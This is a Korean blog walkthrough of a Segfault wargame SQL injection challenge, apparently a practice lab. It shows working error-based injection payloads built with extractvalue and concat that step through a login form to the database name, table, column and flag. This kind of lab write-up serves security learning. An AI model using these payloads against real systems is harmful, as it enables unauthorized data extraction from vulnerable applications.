<Segfault> 워게임 문제풀이[6편] - SQL Injection3

2024. 5. 31. 20:41·워게임 문제풀이/Segfault

 

목표: DB 에 있는 flag 를 찾아라!


 

<1단계 : 탐색>

 

로그인 창 로그인 성공

일단 사이트를 탐색해준다.

기본적으로 SQLi 가 가능한지 확인하기 위해 문구를 넣어본다

<넣어준 문구 : normaltic' and '1'='1>

SQLi 가 먹히는것을 확인하였다.

 

로그인 시도 문법오류발생
 
 

 

DB를 직접적으로 탐색해야 하기 때문에 Error SQLi , Blind SQLi 중 하나를 택해야한다.

Error SQLi 가 되는지 확인하기 위해 의도적으로 논리오류를 일으켜 보자.

 

<넣어준 값 : normaltic' and extractvalue('1',(select ':test'))and '1'='1>

이로써

1. 논리오류를 활용할 수 있음을 알게 되었다.

2. select 문이 사용가능한 것을 확인했다.

 

이제 헷갈리지 않게 SQLi format 을 작성해보자.

 


<2단계 : Format 작성>

 

작성 Format :   normaltic' and extractvalue('1',concat(':',(SQL조건문))) and '1'='1

 

이제 필요한 SQL 질의문을 "SQL조건문" 부분에 넣어주면 된다!

 

 


<3단계 : DB 추출>

SQL 질의문 :  database()

 

완성된 질의문 : normaltic' and extractvalue('1',concat(0x3a,database())) and '1'='1

 

DB 의 이름이 'sqli_2' 인것을 알아냈다!

실행결과


<4단계 : Table 추출>

SQL 질의문: select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1

 

완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1'='1

 

<실행결과>

실행결과

 

table 이름이 flag_table 인것을 확인하였다.

 

 


<5단계 : Column 추출>

SQL 질의문 : select column_name from information_schema.columns where table_name='flag_table' limit 0,1

 

완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select column_name from information_schema.columns where table_name='flag_table' limit 0,1))) and '1'='1

 

<실행결과>

 

실행결과

 

Column 이름이 flag 인것을 확인하였다.

 


<6단계 : 데이터 추출>

 

SQL 질의문: select flag from flag_table limit 0,1

 

완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select flag from flag_table limit 0,1))) and '1'='1

 

 

Flag 를 흭득하였다!

 


 

리뷰 : 데이터를 하나하나 단계별로 찾아가는 것이다 보니 상당히 체력소모가 심하다.

하지만 확실히 format 을 작성한 상태로 대입하니깐 괄호문제도 크게 겪지않았고 , 상당히 편하게 진행하였다.

단계별 추출의 중요성 , Format 작성의 중요성 에 대하여 배울수 있었던 시간이었다.

'워게임 문제풀이 > Segfault' 카테고리의 다른 글

<Segfault> 워게임 문제풀이 [XSS 1]  (0) 2024.06.26
<Segfault> 워게임 문제풀이 [7편]-Blind SQL Injection  (1) 2024.05.31
<Segfault> 워게임 문제풀이 [5편] - Secret Login  (1) 2024.05.22
<Segfault> 워게임 문제풀이 [4편] - Login Bypass 3  (0) 2024.05.21
<SegFault> 워게임 문제풀이 [3편] - Admin is Mine  (0) 2024.05.21
'워게임 문제풀이/Segfault' 카테고리의 다른 글
  • <Segfault> 워게임 문제풀이 [XSS 1]
  • <Segfault> 워게임 문제풀이 [7편]-Blind SQL Injection
  • <Segfault> 워게임 문제풀이 [5편] - Secret Login
  • <Segfault> 워게임 문제풀이 [4편] - Login Bypass 3
무너박사
무너박사
IT 보안 블로그 입니다. 제가 작성하는 블로그가 누군가의 공부에 조금이라도 도움이 되길 바라며 작성하였습니다.
  • 무너박사
    무너박사의 연구일지
    무너박사
  • 전체
    오늘
    어제
    • 분류 전체보기 (104)
      • WEB 지식 (3)
      • 웹해킹 (13)
      • 웹개발(PHP-Mysql) (12)
      • 웹개발(JSP-Oracle) (2)
      • 워게임 문제풀이 (19)
        • Segfault (17)
        • Dreamhack (2)
      • SQL (3)
      • Python (2)
      • AI (1)
        • LLM(Large Language Model) (1)
      • Kail Linux (3)
      • 잡다한 지식 (2)
      • 모바일 앱개발(Kotlin-PHP-Mysql) (13)
      • 모바일 앱해킹(Android) (31)
        • Frida Lab (2)
        • Android DIVA (8)
        • Insecure Bank (20)
      • 안드로이드 위협 탐지 및 우회 (0)
        • 루팅 탐지 & 우회 (0)
        • 디버깅 탐지 & 우회 (0)
        • 에뮬레이터 탐지 & 우회 (0)
        • Frida 탐지 & 우회 (0)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      웹해킹
      모바일앱개발
      Blind sql injection
      취업반
      인시큐어뱅크
      시스템해킹
      해킹
      칼리리눅스
      Koltin
      android diva
      insecure bank
      dom based xss
      모바일 앱개발
      안드로이드 스튜디오
      MySQL
      Kotlin
      취업반6기
      앱해킹
      모바일 앱해킹
      Android Studio
      워게임
      인시큐어 뱅크
      리패키징
      취업반 6기
      normaltic
      mobile diva
      XSS
      php
      sql injection
      모의해킹
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    무너박사
    <Segfault> 워게임 문제풀이[6편] - SQL Injection3
    상단으로

    티스토리툴바